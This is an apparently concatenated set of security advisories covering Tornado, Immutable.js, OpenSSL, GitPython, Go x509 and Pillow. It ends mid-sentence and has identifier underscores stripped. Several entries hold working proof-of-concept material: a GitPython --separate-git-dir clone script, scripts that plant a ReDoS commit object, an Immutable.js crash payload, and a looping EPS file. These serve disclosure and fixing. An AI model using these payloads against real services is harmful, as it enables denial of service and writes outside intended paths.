Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.
IBM Concert 1.0 through 3.0.1.1 allows an attacker can supply crafted input that is incorporated into an operating system command without adequate validation or sanitization. Successful exploitation allows remote attackers to execute arbitrary commands on the underlying operating system with the privileges of the affected service.
IBM Concert 1.0 through 3.0.1.1 contains components that allow potentially unsafe command execution, which could be exploited to run arbitrary system commands on the host.
IBM Concert 1.0.0 through 2.1.0 is vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.
Tornado before 6.5.8 contains an incomplete fix for cookie attribute injection that allows attackers to inject arbitrary cookie attributes by passing capitalized or legacy keyword arguments to setcookie. Attackers can embed semicolon-delimited data in capitalized parameters like Domain, Path, or SameSite to bypass validation and modify cookie security attributes.
Summary
Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parseqs and does not pass maxnumfields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.
Where it is
tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:
python result = urllib.parse.parseqs( qs, keepblankvalues, strictparsing, encoding="latin1", errors="strict" )
maxnumfields is the parameter CPython added for exactly this, and it is absent.
The path to it is entirely server-side and pre-dispatch. RequestHandler.execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest.parsebody at tornado/httputil.py:636, and the urlencoded branch of parsebodyarguments calls parseqsbytes at tornado/httputil.py:1030.
The size that reaches it is bounded only by the body cap, which defaults to the stream's maxbuffersize of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.
Impact
Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.
Suggested fix
Pass a bound:
python result = urllib.parse.parseqs( qs, keepblankvalues, strictparsing, encoding="latin1", errors="strict", maxnumfields=maxnumfields, )
with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.
Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.
Why I do not think this is a duplicate
The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.
Summary
Tornado's optional native extension tornado.speedups implements websocketmask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.
The behavior is reachable from Tornado's XSRF token decoder when xsrfcookies=True and the native extension is active.
Mitigations
This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADOEXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).
Summary
When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements maxredirects, and removes only the Host header. It does not clear Authorization, authusername, authpassword, or authmode when the redirect target changes origin.
As a result, credentials intended for one origin can be forwarded to a different origin when followredirects=True, which is the default.
Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.
Tornado is a Python web framework and asynchronous networking library. Prior to 6.5.6, Tornado gzip decompression routines processed limited-size chunks but did not enforce an overall limit on accumulated decompressed chunks, allowing a malicious server accessed by SimpleAsyncHTTPClient or an HTTPServer configured with decompressrequest=True to consume effectively unlimited memory. This issue is fixed in version 6.5.6.
Summary
List#set, List#setSize, List#setIn, List#updateIn (and the functional set / setIn / updateIn) mishandle an index or size in the range [2 30, 2 31):
- On an empty List the operation enters an uncatchable infinite loop (a tight CPU spin; a surrounding try/catch never regains control). Only killing the worker recovers it. - On a populated List (≥ 32 elements — i.e. any array of ≥ 32 items turned into a List by fromJS) the loop allocates without bound → heap exhaustion → the process aborts (SIGABRT, exit 134, or kernel OOM-kill 137). A real crash, not a recoverable error.
The index may be a numeric string, so it can come straight from a request body, URL, or key-path. A single small unauthenticated request is enough.
There is also a companion silent data-corruption issue in setSize:
js List([1, 2, 3]).setSize(2 31); // before fix => size 0 (silently cleared) List([1, 2, 3]).setSize(2 32 + 5); // before fix => size 5 (huge value wraps to 5)
Impact
Availability only. A reachable configuration is any endpoint that routes untrusted input into a List index or a setIn/updateIn key-path — which the extremely common state = fromJS(body); state.setIn(userPath, value) pattern does (config stores, document/collection editors, redux-immutable reducers, JSON-Patch endpoints, etc.).
No confidentiality or integrity impact, no RCE. The companion setSize bug can silently corrupt application state (wrong size) without crashing.
Reproduction (immutable 5.1.7)
ts import { fromJS, List } from 'immutable';
// 1) Populated List: OOM -> process abort (SIGABRT, exit 134) within ~2s fromJS({ items: new Array(64).fill(0) }).setIn(['items', '1073741824'], 'x');
// 2) Empty List: hangs forever, uncatchable List().set(2 30, 'x');
// 3) Silent truncation List([1, 2, 3]).setSize(2 31); // => size 0 List([1, 2, 3]).setSize(2 32 + 5); // => size 5
A remote 43-byte HTTP request ({"path":["items","1073741824"],"value":"x"}) is sufficient to abort a worker that applies it via state = state.setIn(path, value).
Any index in [2 30, 2 31) works (1073741824, 2000000000, …). An index in [2 31, 2 32) does not crash — it silently wraps (clearing the List) via the same root cause.
Root cause
List stores its values in a 32-wide trie (SHIFT = 5, so each level addresses 5 more bits) and uses signed 32-bit bitwise arithmetic throughout setListBounds() (src/List.js):
1. Infinite loop (the hang / OOM). The level-raising loop
js while (newTailOffset >= 1 << (newLevel + SHIFT)) { newRoot = new VNode( newRoot && newRoot.array.length ? [newRoot] : [], owner ); newLevel += SHIFT; }
relies on 1 << (newLevel + SHIFT). A JavaScript shift count is taken mod 32, so once newLevel + SHIFT reaches 31 the term goes negative (1 << 31 === -2147483648) and at 32 wraps to 1 (1 << 35 === 8). The comparison then stays true forever and the loop never terminates. On a populated List, each iteration retains a new VNode ([newRoot]), so the heap fills and V8 aborts; on an empty List it spins on CPU without allocating.
2. Silent wraparound (the setSize corruption). The begin |= 0 / end |= 0 coercion (ToInt32) silently wraps large finite values ((2 31) | 0 === -2147483648, (2 32 + 5) | 0 === 5), producing a wrong resulting size instead of an error.
The threshold is 2 30: that is the largest size for which 1 << (newLevel + SHIFT) stays a valid positive 32-bit integer throughout the loops (newLevel + SHIFT stays ≤ 30).
Remediation
The fix is contained to setListBounds() in src/List.js:
1. Validate up front, before the lossy | 0 coercion. Compute the intended origin and capacity in full precision and throw a clear, catchable RangeError when they exceed the addressable range (MAXLISTSIZE = 2 30). Infinity/NaN are left to the existing | 0 → 0 behaviour (so setSize(Infinity) stays 0 and slice(0, Infinity) still means "to the end").
2. Stop the shift from wrapping. Replace 1 << exp in the level-raising loops with a helper that uses the cheap bitwise shift while it is exact (exp ≤ 30, the common path including every push/setSize/slice) and falls back to the non-wrapping 2 exp only for the rare deep trees reached when a negative origin (unshift / negative index) is normalized to a large positive capacity (exp can reach 35 there, where 1 << 35 would wrap to 8).
This turns every hang, the misleading "Maximum call stack size exceeded", the OOM/SIGABRT, and the silent setSize truncation into one descriptive RangeError, preserves all behaviour for sizes < 2 30, and keeps the hot push path on the fast bitwise shift (the 2 exp branch is never reached by non-negative operations).
Is the new limit a breaking change?
No working code is affected. A List could never actually hold ≥ 2 30 values before — the attempt hung, crashed, or silently corrupted the size. The limit was already implicit in the 32-bit trie; the fix only makes it explicit and catchable, mirroring native JS arrays (new Array(2 32) → RangeError: Invalid array length). The single observable behaviour change is that setSize(hugeValue), which used to return a silently wrong size, now throws. 2 30 ≈ 1.07 billion entries (~8 GB of pointers alone), far beyond any practical use.
Mitigations (for users who cannot upgrade immediately)
- Validate/clamp any externally supplied List index or setIn/updateIn key-path segment against a sane maximum before passing it to immutable. - Reject numeric path segments ≥ 2 30. - Run request handling in a worker that can be restarted, and cap the heap (--max-old-space-size) so an abort is contained.
Issue summary: An attacker-controlled CMP (Certificate Management Protocol) server could trigger a NULL pointer dereference in a CMP client application.
Incorrect Tag Processing for Empty Messages in AES-GCM-SIV and AES-SIV modes
An error in the callback used to verify the certificate provided in a Root CA key update Certificate Management Protocol (CMP) message response rendered the certificate validation ineffectual, which could lead to escalation of credentials from the Registration Authority (RA) level to the root Certification Authority (root CA) level.
Issue summary: A specially crafted password-encrypted CMS message can trigger a NULL pointer dereference during CMS decryption.
Issue Summary: The PKCS#12 file processing fails to perform sufficient input validation for files that use Password-Based Message Authentication Code 1 (PBMAC1) integrity mechanism allowing a certificate and private key forgery.
Impact Summary: An attacker impersonating a user can cause a service reading PKCS#12 files to accept forged certificates and private keys with a 1 in 256 probability.
If a service accepting PKCS#12 files is using passwords for authenticating the received files, the attacker can create unencrypted PKCS#12 files that use PBMAC1 authentication that specifies an HMAC key of only one byte, allowing them to craft a file that will be accepted with a 1 in 256 probability. That would then cause the service to accept a certificate and private key controlled by the attacker.
The FIPS modules are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.
- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense) - Affected component: git/repo/base.py, Repo.unsafegitcloneoptions (class attribute, lines 153-165) and Repo.clone() (lines 1477-1520), reached via the public Repo.clonefrom() (line 1626) and Repo.clone() (line 1567) APIs. - Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)
Reachability Repo.clonefrom(url, topath, kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git.optioncandidates) and checks it against a denylist, Repo.unsafegitcloneoptions, via Git.checkunsafeoptions() — unless the caller passes allowunsafeoptions=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafegitinitoptions (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo.clone()/clone()/clonefrom() docstring (line 1450-1452) is even more explicit:
:param allowunsafeoptions: Allow unsafe options to be used, such as --template and --separate-git-dir.
i.e. the maintainers' own documentation states that allowunsafeoptions=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafegitcloneoptions does not contain it:
python unsafegitcloneoptions = [ "--upload-pack", "-u", "--config", "-c", "--template", "--bundle-uri", ]
So any application that forwards a separategitdir (or separate-git-dir) kwarg into Repo.clonefrom() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allowunsafeoptions=False.
Root cause Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafegitinitoptions correctly lists --separate-git-dir; unsafegitcloneoptions, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path 1. Attacker-controlled input reaches a separategitdir=... (or equivalently "separate-git-dir") keyword argument passed into Repo.clonefrom() / Repo.clone() by the host application, with allowunsafeoptions left at its default False. 2. Git.optioncandidates() renders this as --separate-git-dir and Git.checkunsafeoptions() checks it against Repo.unsafegitcloneoptions — no match, no UnsafeOptionError raised. 3. Git.transformkwargs() renders the same kwarg into the real command line as --separate-git-dir=<attacker path> and GitPython executes git clone -v --separate-git-dir=<attacker path> -- <url> <dest> via subprocess (no shell). 4. git itself creates the full repository metadata tree (config, description, HEAD, hooks/, index, objects/, refs/, packed-refs, logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely: - Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to. - If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/, refs/, packed-refs, and index there — an integrity violation of a resource outside the intended destination. - Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions - The calling application forwards a caller-influenced value into a separategitdir kwarg of Repo.clonefrom()/Repo.clone() (or into the multioptions list as a raw --separate-git-dir=... token) without itself validating/rejecting it, and does not pass allowunsafeoptions=True intentionally. This is the identical trust model GitPython's own denylist already defends for --template/--upload-pack/--config/--bundle-uri on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence - git/repo/base.py:145-151 — unsafegitinitoptions includes "--separate-git-dir" with the comment "Redirects the repository metadata to a caller-controlled path". - git/repo/base.py:153-165 — unsafegitcloneoptions (the list actually enforced on clone) does not include "--separate-git-dir". - git/repo/base.py:1450-1452 — docstring of clonefrom/clone explicitly documents --separate-git-dir as one of the options allowunsafeoptions is supposed to gate. - git/repo/base.py:1495-1518 — clone() special-cases separategitdir only to Git.polishurl() it (path normalization for URL-like values), then runs it through Git.checkunsafeoptions(options=..., unsafeoptions=cls.unsafegitcloneoptions) — which, per the list above, does not flag it. - PoC (gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the real git clone subprocess unguarded and creates a full git directory outside the destination path, with allowunsafeoptions at its default False.
False-positive check (adversarial re-read) - Is there a value-level check that would still stop this? No — checkunsafeoptions only inspects option names (via canonicalizeoptionname) against the denylist; it performs no filesystem/path validation on separategitdir's value, and no other guard in clone() touches this kwarg besides the Git.polishurl() normalization (which does not reject arbitrary paths). - Is --separate-git-dir perhaps a no-op or safely sandboxed for clone specifically (unlike init)? No — confirmed empirically: the option reaches the real git binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in known-advisories.json (Filter 0): GHSA-9rj7-rf2p-w77r covers --template in Repo.init; GHSA-6p8h-3wgx-97gf covers --template in clone (already fixed, present in unsafegitcloneoptions); GHSA-hmq2-w58f-27jc covers arbitrary repo creation via unvalidated .gitmodules submodule names (a different code path — Submodule, not Repo.clonefrom() kwargs). None reference --separate-git-dir on the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into clonefrom/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template, --upload-pack, --config, --bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafegitcloneoptions in git/repo/base.py, matching unsafegitinitoptions. Since Repo.clone() already special-cases separategitdir for Git.polishurl() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
python #!/usr/bin/env python3 """ GITPYTHON-001 PoC: Repo.clonefrom(separategitdir=...) is not in unsafegitcloneoptions, so it reaches git clone unguarded and writes a full git directory (config, hooks/, objects/, refs/, ...) to an attacker-controlled path OUTSIDE the intended destination directory, with allowunsafeoptions left at its default of False.
Run against the GitPython source tree under test, e.g.: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option or the write does not escape the destination directory. """ import os import sys import subprocess
def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc" src = os.path.join(workdir, "src") dest = os.path.join(workdir, "dest") sentineldir = os.path.join(workdir, "OUTSIDESENTINEL") targetgitdir = os.path.join(sentineldir, "redirected.git")
for p in (src, dest, sentineldir): os.makedirs(p, existok=True)
# Minimal benign source repo to clone from. subprocess.run(["git", "init", "-q", "-b", "main", src], check=True) subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True) with open(os.path.join(src, "file.txt"), "w") as f: f.write("hello\n") subprocess.run(["git", "-C", src, "add", "file.txt"], check=True) subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafegitcloneoptions =", git.Repo.unsafegitcloneoptions) assert "--separate-git-dir" not in git.Repo.unsafegitcloneoptions, ( "guard now includes --separate-git-dir; PoC no longer applicable, target patched" )
try: repo = git.Repo.clonefrom(src, dest, separategitdir=targetgitdir) except git.exc.UnsafeOptionError as e: print("NOT VULNERABLE: blocked by UnsafeOptionError:", e) sys.exit(1)
wroteoutside = os.path.isdir(os.path.join(targetgitdir, "hooks")) and os.path.isfile( os.path.join(targetgitdir, "config") ) gitlinkpointsoutside = False with open(os.path.join(dest, ".git")) as f: gitlink = f.read().strip() gitlinkpointsoutside = targetgitdir in gitlink
print("repo.gitdir =", repo.gitdir) print("wrote git directory outside dest (sentinel) =", wroteoutside) print("dest/.git gitlink points outside dest =", gitlinkpointsoutside)
if wroteoutside and gitlinkpointsoutside: print("VULNERABLE: git directory created at attacker-controlled path " f"outside the clone destination: {targetgitdir}") sys.exit(0) else: print("NOT VULNERABLE: sentinel not observed") sys.exit(1)
if name == "main": main()
Summary
GitPython's Actor.nameemailregex regular expression (git/util.py, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the author or committer header of a git commit object that contains a long string with an unterminated < (no matching >), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length.
A single crafted commit object can block any GitPython API call that reads .author or .committer for over two minutes per invocation, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories.
---
Details
Vulnerable file and line:
git/util.py, line 863:
python nameemailregex = re.compile(r"(.) <(.?)>")
This regex is evaluated inside Actor.fromstring() (line 909) every time GitPython resolves a commit's .author or .committer property.
Full call chain — from public API to vulnerable sink:
commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit.deserialize() └── git/objects/util.py:341 parseactoranddate(authorline) └── git/util.py:909 Actor.fromstring(string) └── Actor.nameemailregex.search(string) ← VULNERABLE
authorline is decoded directly from the raw bytes of the git commit object with no length limit, character restriction, or timeout applied at any point before reaching the regex engine. The same chain is triggered by: - commit.author - commit.committer - repo.itercommits() - repo.blame() - Any web service / CI tool that displays or processes commit metadata
Why this pattern backtracks catastrophically:
The pattern (.) <(.?)> contains an unbounded greedy group (.) followed by a literal space and <. When the input is a long string that contains < but no closing >, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns.
Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):
| Author field length (bytes) | Time to resolve .author | |-----------------------------|--------------------------| | 1,000 | 0.0035 s | | 5,000 | 0.084 s | | 10,000 | 0.341 s | | 20,000 | 1.525 s | | 40,000 | 5.963 s | | 60,000 | 13.360 s | | 80,000 | 23.871 s | | 200,000 | 150.488 s |
Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes no practical size limit on author name fields in the object format.
How the malicious object reaches a victim:
The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into .git/objects/. git cat-file -t <sha> confirms it is a valid commit type and git's own read-side tools display it without error. Only git's write-side tooling (git commit --author, git update-index, explicit git fsck) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include:
- A git server with receive.fsckObjects = false (common in self-hosted deployments) - A .git directory shipped as a tarball, backup, or zip archive - A git bundle file - Any automated mirror or import tool that operates at the object level
---
PoC
Environment used for testing: - GitPython 3.1.59, installed in editable mode from source (no code modifications) - Python 3.12.3, git 2.43.0, Ubuntu 24.04
Script 1 — craft the malicious repository (craftmaliciousrepo.py):
python #!/usr/bin/env python3 """ Creates a git repository with one commit whose 'author' field is a large string containing an unterminated '<'. Bypasses git's write-side sanity checks by writing the raw object directly into .git/objects/.
Usage: python3 craftmaliciousrepo.py <targetdir> <payloadsizebytes> """ import hashlib, os, subprocess, sys, zlib
def run(cmd, cwd): return subprocess.run(cmd, cwd=cwd, check=True, captureoutput=True, text=True)
def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <targetdir> <payloadsizebytes>") sys.exit(1)
targetdir, payloadsize = sys.argv[1], int(sys.argv[2])
os.makedirs(targetdir, existok=True) run(["git", "init", "--quiet"], cwd=targetdir) run(["git", "config", "user.email", "poc@example.com"], cwd=targetdir) run(["git", "config", "user.name", "PoC"], cwd=targetdir)
with open(os.path.join(targetdir, "README.txt"), "w") as f: f.write("GitPython ReDoS PoC repository\n") run(["git", "add", "README.txt"], cwd=targetdir) treesha = run(["git", "write-tree"], cwd=targetdir).stdout.strip()
maliciousname = "A" payloadsize # Key: author field contains a '<' with no closing '>' authorline = f"author {maliciousname} <unterminated 1691999972 -0700" committerline = "committer PoC <poc@example.com> 1691999972 -0700" message = "ReDoS PoC commit"
commitcontent = ( f"tree {treesha}\n{authorline}\n{committerline}\n\n{message}\n" ).encode()
header = f"commit {len(commitcontent)}\x00".encode() store = header + commitcontent sha = hashlib.sha1(store).hexdigest() compressed = zlib.compress(store)
objdir = os.path.join(targetdir, ".git", "objects", sha[:2]) os.makedirs(objdir, existok=True) with open(os.path.join(objdir, sha[2:]), "wb") as f: f.write(compressed)
run(["git", "update-ref", "refs/heads/master", sha], cwd=targetdir)
print(f"Malicious commit sha : {sha}") print(f"Payload size : {payloadsize} bytes") verify = subprocess.run( ["git", "cat-file", "-t", sha], cwd=targetdir, captureoutput=True, text=True ) print(f"git cat-file -t confirms: {verify.stdout.strip()}")
if name == "main": main()
Script 2 — trigger the vulnerability (triggerredos.py):
python #!/usr/bin/env python3 """ Opens the repository with GitPython and times commit.author access, which triggers Actor.fromstring() -> Actor.nameemailregex.search().
Usage: python3 triggerredos.py <repodir> <commitsha> """ import sys, time, git
def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <repodir> <commitsha>") sys.exit(1)
repo = git.Repo(sys.argv[1]) commit = repo.commit(sys.argv[2])
print("Accessing commit.author — triggers Actor.fromstring()...") t0 = time.time() author = commit.author # ← this single line causes the hang elapsed = time.time() - t0
print(f"Author name length : {len(author.name)} chars") print(f"Elapsed : {elapsed:.3f} seconds") print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")
if name == "main": main() Execution and observed output:
$ python3 craftmaliciousrepo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit
$ python3 triggerredos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor.fromstring()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE
Docker reproduction (fully isolated environment):
bash docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash
Inside the container: apt-get update && apt-get install -y git git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython pip install -e /work/GitPython
python3 /work/poc/craftmaliciousrepo.py /work/victim-repo 200000 note the SHA printed, then: python3 /work/poc/triggerredos.py /work/victim-repo <SHA>
The python:3.8-bookworm base image matches the one used in GitPython's own fuzzing/local-dev-helpers/Dockerfile.
---
Impact
Who is affected:
Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include:
- CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it. - Code-hosting or code-review web services that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata. - Security or compliance scanners that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker.
Severity of impact:
A 200 KB author field blocks a process for ~150 seconds per single .author access. When itercommits() or blame are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. There is no confidentiality or integrity impact — this is a pure availability / resource-exhaustion vulnerability.
---
Suggested Fix
Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude < and > from the name group, removing the ambiguity that forces O(n²) backtracking:
python git/util.py, line 863 Before (vulnerable): nameemailregex = re.compile(r"(.) <(.?)>")
After (fixed — identical output for all well-formed input): nameemailregex = re.compile(r"([^<>]) <([^<>])>")
Because the name group can no longer itself contain a < character, the engine has exactly one candidate position to try when a closing > is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never contain < or > in either field, so this change produces identical results for all valid input.
As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.
Crash when handling long CNAME response in net
(x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, ".") to execute repeatedly on the same input hostname. With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.
Summary src/libImaging/Jpeg2KDecode.c:853 accumulates totalcomponentwidth across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tilebytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.
Details - Location: src/libImaging/Jpeg2KDecode.c:853 - Root cause: totalcomponentwidth is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tilebytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation: tilebytes is promoted into tileinfo.datasize, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.
PoC The attached helper script and testcase were used: exercisej2ktilerealloc.zip
Generate the testcase:
bash pythonexercisej2ktilerealloc.py make poc3664rgbatile1832.jp2 \ --size 3664 --tile 1832
Expected geometry from the helper:
- image size: 3664 x 3664 - mode: RGBA - tile size: 1832 x 1832 (2x2 tiles) - imagebytes=53699584 - uncapped RSS observed: - vulnerable build: maxrsskb=180264 - fixed comparison build: maxrsskb=138404
Load it with the current vulnerable build:
bash python exercisej2ktilerealloc.py load poc3664rgbatile1832.jp2
Load it again under a 160 MB address-space cap:
bash python exercisej2ktilerealloc.py load poc3664rgbatile1832.jp2 --limit-mb 160
Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.
Summary
Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.
The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.
Confirmed affected versions: Pillow 12.0.0 through 12.2.0.
Details
The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.
Relevant code:
elif bytesmv[:14] == b"%%BeginBinary:": bytecount = int(bytearr[14:bytesread]) self.fp.seek(bytecount, os.SEEKCUR)
There is no validation that bytecount is non-negative.
If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.
In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.
PoC
Save the following content as pillowepsbeginbinarydos.eps:
%!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 1 1 %%EndComments % dummy comment after transition %%BeginBinary:-18 %%EOF
Then run:
python -m pip install "Pillow==12.2.0"
python - <<'PY' from PIL import Image Image.open("pillowepsbeginbinarydos.eps") PY
Expected behavior: Pillow should reject the malformed EPS file with a parser exception.
Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.
The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:
